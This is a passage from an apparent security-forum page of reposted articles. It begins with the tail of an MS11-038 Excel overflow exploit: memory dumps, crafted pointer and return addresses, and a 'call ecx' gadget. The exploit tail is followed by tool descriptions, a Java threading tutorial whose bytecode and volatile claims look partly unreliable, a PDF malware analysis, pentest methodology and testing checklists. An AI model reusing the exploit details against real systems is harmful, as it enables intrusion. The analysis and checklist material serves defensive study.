307de5cc 54 72 75 65 00 52 65 73-6f 6c 75 74 69 6f 6e 00 True.Resolution. 307de5dc 36 30 30 64 70 69 a6 e5-7d 30 74 52 65 73 00 46 600dpi..}0tRes.F 307de5ec 61 6c 73 65 90 90 90 90-90 90 90 90 90 90 90 90 alse............ 307de5fc 90 90 90 90 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA 307de60c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de61c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data ----------------------------------------------------------------------------------- 0:000> db 0x307de5a6 307de5a6 8e e4 7d 30 a5 61 00 30-74 00 a6 e5 7d 30 4c 4c ..}0.a.0t...}0LL 307de5b6 00 55 6e 69 72 42 42 42-42 4c 00 48 50 44 6f 63 .UnirBBBBL.HPDoc 307de5c6 55 49 53 55 49 00 54 72-75 65 00 52 65 73 6f 6c UISUI.True.Resol 307de5d6 75 74 69 6f 6e 00 36 30-30 64 70 69 [[a6 e5 7d 30]]* ution.600dpi..}0 307de5e6 74 52 65 73 00 46 61 6c-73 65 90 90 90 90 90 90 tRes.False...... 307de5f6 90 90 90 90 90 90 90 90-90 90 41 41 41 41 41 41 ..........AAAAAA 307de606 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de616 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA * => 0x307de5a6 + 0x3c => 0x307de5e2 'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch --------------------------------------------- 307de48e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de49e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ce 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4de 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ee 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4fe 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de50e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de51e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de52e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de53e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de54e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de55e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de56e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de57e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de58e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de59e eb 60 6e 00 50 72 69 6e-8e e4 7d 30 [[a5 61 00 30]]* .`n.Prin..}0.a.0 307de5ae 74 00 a6 e5 7d 30 4c 4c-00 55 6e 69 72 42 42 42 t...}0LL.UnirBBB 307de5be 42 4c 00 48 50 44 6f 63-55 49 53 55 49 00 54 72 BL.HPDocUISUI.Tr 307de5ce 75 65 00 52 65 73 6f 6c-75 74 69 6f 6e 00 36 30 ue.Resolution.60 307de5de 30 64 70 69 a6 e5 7d 30-74 52 65 73 00 46 61 6c 0dpi..}0tRes.Fal 307de5ee 73 65 90 90 90 90 90 90-90 90 90 90 90 90 90 90 se.............. 307de5fe 90 90 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA 307de60e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de61e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de62e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de63e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de64e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de65e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de66e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de67e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA * 0x307de48e + 0x11c => 0x307de48e 'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0 ---------------------------------------------------------- EXCEL!Ordinal41+0x61a5: 300061a5 ffd1 call ecx 300061a7 e00b loopne EXCEL!Ordinal41+0x61b4 (300061b4) 300061a9 c1536689 rcl dword ptr [ebx+66h],89h 300061ad 46 inc esi 300061ae 2a8d8574ffff sub cl,byte ptr [ebp-8B7Bh] 300061b4 ff5068 call dword ptr [eax+68h] 300061b7 1200 adc al,byte ptr [eax] 300061b9 0400 add al,0 =end Sursa: MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow ? Packet Storm
  11. Process Hacker 2.24 A very incomplete feature list for Process Hacker 2: Processes • View processes in a tree view with highlighting • View detailed process statistics and performance graphs • Process tooltips are detailed and show context-specific information • Select multiple processes and terminate, suspend or resume them • (32-bit only) Bypass almost all forms of process protection • Restart processes • Empty the working set of processes • Set affinity, priority and virtualization • Create process dumps • Use over a dozen methods to terminate processes • Detach processes from debuggers • View process heaps • View GDI handles • Inject DLLs • View DEP status, and even enable/disable DEP • View environment variables • View and edit process security descriptors • View image properties such as imports and exports Threads • View thread start addresses and stacks with symbols • Threads are highlighted if suspended, or are GUI threads • Select multiple threads and terminate, suspend or resume them • Force terminate threads • View TEB addresses and view TEB contents • (32-bit only) Find out what a thread is doing, and what objects it is waiting on • View and edit thread security descriptors Tokens • View full token details, including user, owner, primary group, session ID, elevation status, and more • View token groups • View privileges and even enable, disable or remove them • View and edit token security descriptors Modules • View modules and mapped files in one list • Unload DLLs • View file properties and open them in Windows Explorer Memory • View a virtual memory list • Read and modify memory using a hex editor • Dump memory to a file • Free or decommit memory • Scan for strings Handles • View process handles, complete with highlighting for attributes • Search for handles (and DLLs and mapped files) • Close handles • (32-bit only) Set handle attributes - Protected and Inherit • Granted access of handles can be viewed symbolically instead of plain hex numbers • View detailed object properties when supported • View and edit object security descriptors Services • View a list of all services • Create services • Start, stop, pause, continue or delete services • Edit service properties • View service dependencies and dependents • View and edit service security descriptors Network • View a list of network connections • Close network connections • Use tools such as whois, traceroute and ping Download: http://sourceforge.net/projects/processhacker/files/processhacker2/processhacker-2.24-setup.exe/download Source code: http://sourceforge.net/projects/processhacker/files/processhacker2/processhacker-2.24-src.zip/download Webpage: http://processhacker.sourceforge.net/
  12. Five things you didn't know about multithreaded Java programming On the subtleties of high-performance threading Steven Haines, Founder and CEO, GeekCap Inc. Summary: Multithreaded programming is never easy, but it does help to understand how the JVM processes subtly different code constructs. Steven Haines shares five tips that will help you make more informed decisions when working with synchronized methods, volatile variables, and atomic classes. Date: 09 Nov 2010 Level: Introductory Download PDF: http://public.dhe.ibm.com/software/dw/java/j-5things15-pdf.pdf While few Java developers can afford to ignore multithreaded programming and the Java platform libraries that support it, even fewer have time to study threads in depth. Instead, we learn about threads ad hoc, adding new tips and techniques to our toolboxes as we need them. It's possible to build and run decent applications this way, but you can do better. Understanding the threading idiosyncrasies of the Java compiler and the JVM will help you write more efficient, better performing Java code. In this installment of the 5 things series, I introduce some of the subtler aspects of multithreaded programming with synchronized methods, volatile variables, and atomic classes. My discussion focuses especially on how some of these constructs interact with the JVM and Java compiler, and how the different interactions could affect Java application performance. 1. Synchronized method or synchronized block? You may have occasionally pondered whether to synchronize an entire method call or only the thread-safe subset of that method. In these situations, it is helpful to know that when the Java compiler converts your source code to byte code, it handles synchronized methods and synchronized blocks very differently. When the JVM executes a synchronized method, the executing thread identifies that the method's method_info structure has the ACC_SYNCHRONIZED flag set, then it automatically acquires the object's lock, calls the method, and releases the lock. If an exception occurs, the thread automatically releases the lock. Synchronizing a method block, on the other hand, bypasses the JVM's built-in support for acquiring an object's lock and exception handling and requires that the functionality be explicitly written in byte code. If you read the byte code for a method with a synchronized block, you will see more than a dozen additional operations to manage this functionality. Listing 1 shows calls to generate both a synchronized method and a synchronized block: package com.geekcap; public class SynchronizationExample { private int i; public synchronized int synchronizedMethodGet() { return i; } public int synchronizedBlockGet() { synchronized( this ) { return i; } } } The synchronizedMethodGet() method generates the following byte code: 0: aload_0 1: getfield 2: nop 3: iconst_m1 4: ireturn And here's the byte code from the synchronizedBlockGet() method: 0: aload_0 1: dup 2: astore_1 3: monitorenter 4: aload_0 5: getfield 6: nop 7: iconst_m1 8: aload_1 9: monitorexit 10: ireturn 11: astore_2 12: aload_1 13: monitorexit 14: aload_2 15: athrow Creating the synchronized block yielded 16 lines of bytecode, whereas synchronizing the method returned just 5. 2. ThreadLocal variables If you want to maintain a single instance of a variable for all instances of a class, you will use static-class member variables to do it. If you want to maintain an instance of a variable on a per-thread basis, you'll use thread-local variables. ThreadLocal variables are different from normal variables in that each thread has its own individually initialized instance of the variable, which it accesses via get() or set() methods. Let's say you're developing a multithreaded code tracer whose goal is to uniquely identify each thread's path through your code. The challenge is that you need to coordinate multiple methods in multiple classes across multiple threads. Without ThreadLocal, this would be a complex problem. When a thread started executing, it would need to generate a unique token to identify it in the tracer and then pass that unique token to each method in the trace. With ThreadLocal, things are simpler. The thread initializes the thread-local variable at the start of execution and then accesses it from each method in each class, with assurance that the variable will only host trace information for the currently executing thread. When it's done executing, the thread can pass its thread-specific trace to a management object responsible for maintaining all traces. Using ThreadLocal makes sense when you need to store variable instances on a per-thread basis. 3. Volatile variables I estimate that roughly half of all Java developers know that the Java language includes the keyword volatile. Of those, only about 10 percent know what it means, and even fewer know how to use it effectively. In short, identifying a variable with the volatile keyword means that the variable's value will be modified by different threads. To fully understand what the volatile keyword does, it's first helpful to understand how threads treat non-volatile variables. In order to enhance performance, the Java language specification permits the JRE to maintain a local copy of a variable in each thread that references it. You could consider these "thread-local" copies of variables to be similar to a cache, helping the thread avoid checking main memory each time it needs to access the variable's value. But consider what happens in the following scenario: two threads start and the first reads variable A as 5 and the second reads variable A as 10. If variable A has changed from 5 to 10, then the first thread will not be aware of the change, so it will have the wrong value for A. If variable A were marked as being volatile, however, then any time a thread read the value of A, it would refer back to the master copy of A and read its current value. If the variables in your applications are not going to change, then a thread-local cache makes sense. Otherwise, it's very helpful to know what the volatile keyword can do for you. 4. Volatile versus synchronized If a variable is declared as volatile, it means that it is expected to be modified by multiple threads. Naturally, you would expect the JRE to impose some form of synchronization for volatile variables. As luck would have it, the JRE does implicitly provide synchronization when accessing volatile variables, but with one very big caveat: reading a volatile variable is synchronized and writing to a volatile variable is synchronized, but non-atomic operations are not. What this means is that the following code is not thread safe: myVolatileVar++; The previous statement could also be written as follows: int temp = 0; synchronize( myVolatileVar ) { temp = myVolatileVar; } temp++; synchronize( myVolatileVar ) { myVolatileVar = temp; } In other words, if a volatile variable is updated such that, under the hood, the value is read, modified, and then assigned a new value, the result will be a non-thread-safe operation performed between two synchronous operations. You can then decide whether to use synchronization or rely on the JRE's support for automatically synchronizing volatile variables. The better approach depends on your use case: If the assigned value of the volatile variable depends on its current value (such as during an increment operation), then you must use synchronization if you want that operation to be thread safe. 5. Atomic field updaters When incrementing or decrementing a primitive type in a multithreaded environment, you're far better off using one of the new atomic classes found in the java.util.concurrent.atomic package than you would be writing your own synchronized code block. The atomic classes guarantee that certain operations will be performed in a thread-safe manner, such as incrementing and decrementing a value, updating a value, and adding a value. The list of atomic classes includes AtomicInteger, AtomicBoolean, AtomicLong, AtomicIntegerArray, and so forth. The challenge of using atomic classes is that all class operations, including get, set, and the family of get-set operations, are rendered atomic. This means that read and write operations that do not modify the value of an atomic variable are synchronized, not just the important read-update-write operations. The workaround, if you want more fine-grained control over the deployment of synchronized code, is to use an atomic field updater. Using atomic updates Atomic field updaters like AtomicIntegerFieldUpdater, AtomicLongFieldUpdater, and AtomicReferenceFieldUpdater are basically wrappers applied to a volatile field. Internally, the Java class libraries make use of them. While they are not widely used in application code, there's no reason you can't use them too. Listing 2 presents an example of a class that uses atomic updates to change the book that someone is reading: package com.geeckap.atomicexample; public class Book { private String name; public Book() { } public Book( String name ) { this.name = name; } public String getName() { return name; } public void setName( String name ) { this.name = name; } } The Book class is just a POJO (plain old Java object) that has a single field: name. package com.geeckap.atomicexample; import java.util.concurrent.atomic.AtomicReferenceFieldUpdater; /** * * @author shaines */ public class MyObject { private volatile Book whatImReading; private static final AtomicReferenceFieldUpdater<MyObject,Book> updater = AtomicReferenceFieldUpdater.newUpdater( MyObject.class, Book.class, "whatImReading" ); public Book getWhatImReading() { return whatImReading; } public void setWhatImReading( Book whatImReading ) { //this.whatImReading = whatImReading; updater.compareAndSet( this, this.whatImReading, whatImReading ); } } The MyObject class in Listing 3 exposes its whatAmIReading property as you would expect, with get and set methods, but the set method does something a little different. Instead of simply assigning its internal Book reference to the specified Book (which would be accomplished using the code that is commented out in Listing 3), it uses an AtomicReferenceFieldUpdater. AtomicReferenceFieldUpdater The Javadoc for AtomicReferenceFieldUpdater defines it as follows: A reflection-based utility that enables atomic updates to designated volatile reference fields of designated classes. This class is designed for use in atomic data structures in which several reference fields of the same node are independently subject to atomic updates. In Listing 3, the AtomicReferenceFieldUpdater is created by a call to its static newUpdater method, which accepts three parameters: The class of the object containing the field (in this case, MyObject) The class of the object that will be updated atomically (in this case, Book) The name of the field to be updated atomically The real value here is that the getWhatImReading method is executed without synchronization of any kind, whereas the setWhatImReading is executed as an atomic operation. Listing 4 illustrates how to use the setWhatImReading() method and asserts that the value changes correctly: package com.geeckap.atomicexample; import org.junit.Assert; import org.junit.Before; import org.junit.Test; public class AtomicExampleTest { private MyObject obj; @Before public void setUp() { obj = new MyObject(); obj.setWhatImReading( new Book( "Java 2 From Scratch" ) ); } @Test public void testUpdate() { obj.setWhatImReading( new Book( "Pro Java EE 5 Performance Management and Optimization" ) ); Assert.assertEquals( "Incorrect book name", "Pro Java EE 5 Performance Management and Optimization", obj.getWhatImReading().getName() ); } } See Resources to learn more about atomic classes. Back to top In conclusion Multithreaded programming is always challenging, but as the Java platform has evolved, it has gained support that simplifies some multithreaded programming tasks. In this article, I discussed five things that you may not have known about writing multithreaded applications on the Java platform, including the difference between synchronizing methods versus synchronizing code blocks, the value of employing ThreadLocal variables for per-thread storage, the widely misunderstood volatile keyword (including the dangers of relying on volatile for your synchronization needs), and a brief look at the intricacies of atomic classes. See the Resources section to learn more. Resources 5 things you didn't know about ... : Find out how much you didn't know about the Java platform, in this series dedicated to turning Java technology trivia into useful programming tips. Java Concurrency in Practice (Brian Goetz, et. al. Addison-Wesley, 2006): Brian's remarkable ability to distill complex concepts for readers makes this book a must on any Java developer's bookshelf. "Code Tracing" (Steven Haines, InformIT, August 2010): Learn more about code tracing using ThreadLocal variables. "Java bytecode: Understanding bytecode makes you a better programmer" (Peter Haggar, developerWorks, July 2001): A tutorial introduction to the byways of bytecode, including an earlier example illustrating the difference between synchronized methods and synchronized blocks. "Java theory and practice: Going atomic" (Brian Goetz, developerWorks, November 2004): Explains how atomic classes enable the development of highly scalable nonblocking algorithms in the Java language. "Java theory and practice: Concurrency made simple (sort of)" (Brian Goetz, developerWorks, November 2002): Guides you through the java.util.concurrent package. "5 things you didn't know about ... java.util.concurrent, Part 1" (Ted Neward, developerWorks, May 2010): Get introduced to five concurrent collections classes, which retrofit standard collections classes for your concurrency programming needs. The developerWorks Java technology zone: Hundreds of articles about every aspect of Java programming. Sursa: 5 things you didn't know about ... multithreaded Java programming
  13. C bit field structures for microcontroller multitasking posted Nov 22nd 2011 9:01am by Mike Szczys filed under: Microcontrollers So you’re getting better at programming microcontrollers and now you want to do several things at once? You know better than that, microcontrollers are only capable of processing one thing at a time. But if you’re clever with your coding you can achieve something that behaves as if several things are going on at once. The most common way to do this is to set a flag using an interrupt, then use the main loop to check for that flag. [s1axter] posted a tutorial on this topic where he uses bit field structures to help simplify time sensitive events. We think [s1axter] did a fantastic job of explaining this moderately difficult topic clearly and quickly. In the video after the break he begins by explaining what a bit field is and how it is defined. Basically you’re using a C structure to track a flag using just one bit of storage. This way the flag is either set or not. We suggest you pay careful attention to how he declares the structures as volatile, so you don’t have unexpected behavior when you try it yourself. Video: http://www.youtube.com/watch?v=Voqg4Mx2Sg8&feature=player_embedded#! Sursa: http://hackaday.com/2011/11/22/c-bit-field-structures-for-microcontroller-multitasking/
  14. Sysinternals: Understanding the UAC with logonsessions With the release if Windows Vista, Microsoft fundamentally changed their security model. For years we have been told to maintain two accounts as admins, one for day to day activities and the other for admin tasks. In some organisations security would dicatate that this was true but in others and in most home environments this was never the case. Of course we would all bleat about MS and its lack of security when a virus destroyed our machine. Now with Vista and above the User Account Control or UAC manages our priviliged accounts for us and will give us two logons although we only need to one account and password. The magic happens beneath the surface and is controlled by the Local Security Authority (LSA) ont he machine we log in to. If we use an account that has admin rights, either through privilged groups like adminstrators or backup operators, or maybe just via additional user rights assigments then when we log on two access tokens will be created. One with the full rights that our user has, the other with admin rights filtered out. For every day tasks we use the filtered token, for admin tasks we use the full token. These tokens are associated with completely separate login sessions and these sessions cannot talk to each other. This can be demonstrated using logonsessions, a command from SYSINTERNALS. The video will step you through the isolation of these sessions and how to display the information you need to understannd UAC with logonsessions Video: http://www.theurbanpenguin.com/win7/sys-uac-logonsessions.html http://www.youtube.com/watch?v=0aI5_t0vvDg&feature=player_embedded#!
  15. Ca tot veni vorba, nu iti apare IP-ul celui cu care vorbesti pe messenger, iti apare IP-ul unui serer Yahoo! pentru ca toate datele trec prin serverele lor.
  16. Am jucat acum cativa ani. Si mai jucam anul trecut cam cateva ore pe luna Counter-Strike. In rest nu m-am mai jucat, iar filmele porno imi ocupa tot timpul si nu mai am timp de programare din pacate.
  17. Nu jucam. Ni se par porcarii. Nu suntem toti niste hoti.
  18. Astea sunt tutoriale?
  19. Ai buton de Edit, il folosesti. Stim, e problema cu forumul, sper sa se rezolve in curand...
  20. Nu vad nimic, decat un link. Mutat la gunoi.
  21. PDF Analysis using PDFStreamDumper Posted on November 19, 2011 by darryl PDFStreamDumper is a PDF analyzer developed by Sandsprite's David Zimmer. He has added quite a bit of useful functions to make this an all-in-one, go-to tool as you’ll soon see. Here’s a spear-phish email that contains a malicious PDF file attachment: This PDF file is quite unusual. When you view it in Notepad, you normally can see readable strings and the magic bytes at the beginning. In this case, the PDF file has been altered: Using a hex editor, we can see the familiar attributes that make up a PDF file: When you open the PDF file using Adobe Acrobat Reader < 9.4, it notices that the PDF file is damaged and then repairs it. When it does so, the program crashes since it's just been compromised by the exploit and the shellcode executes. Let's open the PDF file using PDFStreamDumper and click on "Exploits_Scan" from the menu bar: In "Stream 25", we can see the Javascript exploit: Down at the bottom of the stream, we can see a bunch of hex characters. This looks like shellcode to me. We can either save the decompressed stream to a text file by right-clicking on the object to the left. Or, we can select the hex code and press control-c on our keyboard. Let's do the latter and now click on "Load" from the main menu then click on "Shellcode File". This brings up a new window. The main section is blank so we paste the hex code. We need to tell the program that this is hex so we select the characters then click on "Add % to HexString" under the "Manual_Escapes" menu. Since this is presumed to be shellcode, we can use the options under the "Shellcode_Analysis" menu. I tried to dump the shellcode using the top three options but it didn’t work. Let’s see if this is XOR-encrypted so select the hex characters then choose "Xor_Bruteforcer": Bingo! It is encrypted using the XOR key of "0xF0". You can see the dropbox.com download and execute link: Checking that executable against VirusTotal shows that it’s likely a banking Trojan. I’ve just scratched the surface of what this great tool can do. Be sure you check out PDFStreamDumper and his other tools for malware analysis! Sursa: http://www.kahusecurity.com/2011/pdf-analysis-using-pdfstreamdumper/
  22. The Difference Between a Vulnerability Assessment and a Penetration Test There are many views on what constitutes a Vulnerability Assessment versus a Penetration Test. The main distinction, however, seems to be that some believe a thorough Penetration Test involves identifying as many vulnerabilities as possible, while others feel that Penetration Tests are goal-oriented and are mostly unconcerned with what other vulnerabilities may exist. I am in the latter group, and what follows is my argument for why you should be too. Background The impetus for this post came out of a conversation with Johannes Ullrich--the highly distinguished, Ph.D, CTO of SANS. He stated to me (read his argument here) that if a Penetration Tester simply accomplishes a given goal and doesn't continue on finding other vulnerabilities, he's done a poor job--which is where I disagree. Language is important, and we have two terms for a reason. We already have an aptly-named security test for compiling a list of vulnerabilities (a Vulnerability Assessment) and to say that Penetration Tests should always include a Vulnerability Assessment is to confuse the matter completely. The sole purpose of discovering vulnerabilities during a Penetration Test is to find a method of achieving the goal given by the client--nothing more. The Question of Exploitation One thing that always comes up in this debate is the topic of exploitation. Many are tempted to say, "If you exploit a vulnerability, it's a pentest." So in their minds it's a simple matter of, "If there's exploitation, it's a pentest."This is a confusion of the concepts. Exploitation can be imagined as a sliding bar between none and full that can be overlain upon both vulnerability assessments and penetration tests. Although most serious penetration tests lean heavily towards showing rather than telling (i.e. heavy on the exploitation side), it's also the case that deleting all data from a database to prove that it can be done is often not desirable. A penetration testing team may be able to simply take pictures standing next to the open safe, or to show they have full control of an AD domain, etc. without actually taking the destructive action that a criminal could. And vulnerability assessments can slide along this scale as well. There's no reason you can't simply have a vulnerability assessment where you're instructed to exploit all the vulnerabilities you find. Sure, it would a long time, but exploitation doesn't, by definition, move you out of the realm of vulnerability assessment. The belief that pentesting is always heavy on the exploitation, and that vulnerability assessments always lack it is a fallacy. The key attributes of a VA vs. PT are list-orientation vs. goal-orientation, and the question of exploitation is not part of that calculation. Proposed Definitions Vulnerability Assessments are designed to yield a prioritized list of vulnerabilities and are generally for clients who already understand they are not where they want to be in terms of security. The customer already knows they have issues and simply need help identifying and prioritizing them. The more issues identified the better, so naturally a white box approach should be embraced when possible. The deliverable for the assessment is, most importantly, a prioritized list of discovered vulnerabilities (and often how to remediate). Penetration Tests are designed to achieve a specific, attacker-simulated goal and should be requested by customers who are already at their desired security posture. A typical goal could be to access the contents of the prized customer database on the internal network, or to modify a record in an HR system. The deliverable for a penetration test is a report of how security was breached in order to reach the agreed-upon goal (and often how to remediate). The Physical Analog A good analog for this is a Tiger Team working for the government, like Richard Marcinko used to run with SEAL Team 6. Think about what his missions were: to gain control of a nuclear submarine and bring it out into the bay. So imagine that he were to be debriefed after a successful mission where he broke in through the east fence, and someone were to ask him about the security of the western side of the building. The answer would be simple: We didn't even go to the west side. We saw an opening on the east-facing fence and we went after our target. If the person doing the debrief were to respond with, "You didn't check the other fences? What kind of security test is it where you didn't even check all the fences?", the answer would be simple. Listen, man, I could have come in a million ways. I could have burrowed under the fences altogether, parachuted in, got in the back of a truck coming in--whatever. You told me to steal your sub, and that's what I did. If you want a list of all the different ways your security sucks, hire an auditor--not SEAL Team 6. Summary Vulnerability Assessment Customer Maturity Level: Low to Medium. Usually requested by customers who already know they have issues, and need help getting started. Goal: Attain a prioritized list of vulnerabilities in the environment so that remediation can occur. Focus: Breadth over depth. Penetration Test Customer Maturity Level: High. The client believes their defenses to be strong, and wants to test that assertion. Goal: Determine whether a mature security posture can withstand an intrusion attempt from an advanced attacker with a specific goal. Focus: Depth over breadth. Sursa: The Difference Between a Vulnerability Assessment and a Penetration Test
  23. Web Application Security Testing Resources Stiu ca nu e tocmai un tutorial, dar contine informatii utile. Table of Contents Web Application Security Testing Methodologies Web Application Hacker's Handbook Testing Checklist Web Application Hacker's Handbook Chapter 20 Methodology The OWASP Testing Checklist Suites and Frameworks Standalone Scanning Tools Vulnerable Test Websites Utilities Browser Extensions Additional Resources Web Application Security Testing Methodologies Security assessments in general, and certainly web security assessments, are nearly as much art as science, so everyone has their own favorite method. Below are a few of the main methodologies that are out there. Web Application Hacker's Handbook Testing Checklist Web Application Hacker's Handbook Chapter 20 Methodology The OWASP Testing Checklist Web Application Hacker's Handbook Checklist (Content Moved) [ **Reproduced with permission from authors; copyright Dafydd Stuttard and Marcus Pinto ] Recon and Analysis Map visible content Discover hidden and default content Test for debug parameters Identify the technologies used Map the attack surface Test Handling of Access Authentication Test password quality rules Test for username enumeration Test resilience to password guessing Test any account recovery function Test any "remember me" function Test any impersonation function Test username uniqueness Check for unsafe distribution of credentials Test for fail-open conditions Test any multi-stage mechanisms Session Handling Test tokens for meaning Test tokens for predictability Check for insecure transmission of tokens Check for disclosure of tokens in logs Check mapping of tokens to sessions Check session termination Check for session fixation Check for cross-site request forgery Test for fail-open conditions Check cookie scope Access Controls Understand the access control requirements Test effectiveness of controls, using multiple accounts if possible Test for insecure access control methods (request parameters, Referer header, etc) Test the Handling of Input Fuzz all request parameters Test for SQL injection Identify all reflected data Test for reflected XSS Test for HTTP header injection Test for arbitrary redirection Test for stored attacks Test for OS command injection Test for path traversal Test for script injection Test for file inclusion Test for SMTP injection Test for native software flaws (buffer overflow, integer bugs, format strings) Test for SOAP injection Test for LDAP injection Test for XPath injection Test Application Logic Identify the logic attack surface Test transmission of data by the client Test for reliance on client-side input validation Test any thick-client components (Java, ActiveX, Flash) Test multi-stage processes for logic flaws Test handling of incomplete input Test trust boundaries Test transaction logic Assess Application Hosting Test segregation in shared infrastructures Test segregation between ASP-hosted applications Test for web server vulnerabilities Default credentials Default content Proxy functionality Virtual hosting mis-configuration Bugs in web server software Miscellaneous Tests Check for DOM-based attacks Check for frame injection Check for local privacy vulnerabilities Persistent cookies Caching Sensitive data in URL parameters Forms with autocomplete enabled Follow up any information leakage Check for weak SSL ciphers Web Application Hacker's Handbook Testing Methodology [From Chapter 20 of the WAHH] [ **Reproduced with permission from authors; copyright Dafydd Stuttard and Marcus Pinto ] Notice that this methodology is quite different from the checklist provided above. Also keep in mind that the book itself provides additional detailed steps in each of the sections listed. This is meant to help one compare methodology approaches, not to provide the actual content. Map the Application's Content Explore Visible Content Consult Public Resources Discover Hidden Content Discover Default Content Enumerate Identifier-Specified Functions Test for Debug Parameters Analyze the Application Identify Functionality Identify Data Entry Points Identify the Technologies Used Map the Attack Surface Test Client-side Controls Test Transmission of Data via the Client Test Client-side Control Over User Input Test Thick-client Components Test the Authentication Mechanism Understand the Mechanism Test Password Quality Test for Username Enumeration Test Resilience to Password Guessing Test Any Account Recovery Function Test Any Remember Me Function Test Any Impersonation Function Test Username Uniqueness Test Predictability of Auto-Generated Credentials Check for Unsafe Transmission of Credentials Test for Logic Flaws Exploit Any Vulnerabilities to Gain Unauthorized Access Test the Session Management Mechanism Understand the Mechanism Test Tokens for Meaning Test Tokens for Predictability Check for Insecure Transmission of Tokens Check for Disclosure of Tokens in Logs Check Mapping of Tokens to Sessions Test Session Termination Check for Session Fixation Check for XSRF Check Cookie Scope Test Access Controls Understand the Access Control Requirements Testing with Multiple Accounts Testing with Limited Access Test for Insecure Access Control Methods Test for Input-Based Vulnerabilities Fuzz All Request Parameters Test for SQL Injection Test for XSS and Other Response Injection Test for OS Command Injection Test for Path Traversal Test for Script Injection Test for File Inclusion Test for Function-Specific Input Vulnerabilities Test for SMTP Injection Test for Native Software Vulnerabilities Test for SOAP Injection Test for LDAP Injection Test for XPath Injection Test for Script Injection Test for File Inclusion Test for Logic Flaws Identify the Key Attack Surface Test Multistage Processes Test Handling of Incomplete Input Test Trust Boundaries Test Transaction Logic Test for Shared Hosting Vulnerabilities Test Segregation in Shared Infrastructures Test Segregation between ASP-Hosted Applications Test for Web Server Vulnerabilities Test for Default Credentials Test for Default Content Test for Dangerous HTTP Methods Test for Proxy Functionality Test for Virtual Hosting Misconfiguration Test for Web Server Software Bugs Miscellaneous Checks Check for DOM-based Attacks Check for Frame Injection Check for Local Privacy Vulnerabilities Follow Up Any Information Leakage Check for Weak SSL Ciphers The OWASP Testing Methodology Checklist (https://www.owasp.org/index.php/Testing_Checklist) Information Gathering Spiders, Robots, and Crawlers Search Engine Discovery/Reconnaissance Identify application entry points Testing for Web Application Fingerprint Application Discovery Analysis of Error Codes Configuration Management Testing SSL/TLS Testing (SSL Version, Algorithms, Key length, Digital Cert. Validity) DB Listener Testing Infrastructure Configuration Management Testing Application Configuration Management Testing Testing for File Extensions Handling Old, backup and unreferenced files Infrastructure and Application Admin Interfaces Testing for HTTP Methods and XST Authentication Testing Credentials transport over an encrypted channel Testing for user enumeration Testing for Guessable (Dictionary) User Account Brute Force Testing Testing for bypassing authentication schema Testing for vulnerable remember password and pwd reset Testing for Logout and Browser Cache Management Testing for CAPTCHA Testing Multiple Factors Authentication Testing for Race Conditions Session Management Testing for Session Management Schema Testing for Cookies attributes Testing for Session Fixation Testing for Exposed Session Variables Testing for CSRF Authorization Testing Testing for Business Logic Business Logic Testing Testing for Business Logic Data Validation Testing Testing for Reflected Cross Site Scripting Testing for Stored Cross Site Scripting Testing for DOM based Cross Site Scripting Testing for Cross Site Flashing SQL Injection LDAP Injection ORM Injection XML Injection SSI Injection XPath Injection IMAP/SMTP Injection Code Injection OS Commanding Buffer overflow Incubated vulnerability Testing for HTTP Splitting/Smuggling Denial of Service Testing Testing for SQL Wildcard Attacks Locking Customer Accounts Testing for DoS Buffer Overflows User Specified Object Allocation User Input as a Loop Counter Writing User Provided Data to Disk Failure to Release Resources Storing too Much Data in Session Web Services Testing WS Information Gathering Testing WSDL XML Structural Testing XML content-level Testing HTTP GET parameters/REST Testing Naughty SOAP attachments Replay Testing Web Services Testing WS Information Gathering Testing WSDL XML Structural Testing XML content-level Testing HTTP GET parameters/REST Testing Naughty SOAP attachments Replay Testing Web Services Testing AJAX Vulnerabilities AJAX Testing ----------------------------------------- Suites / Frameworks Burp Suite 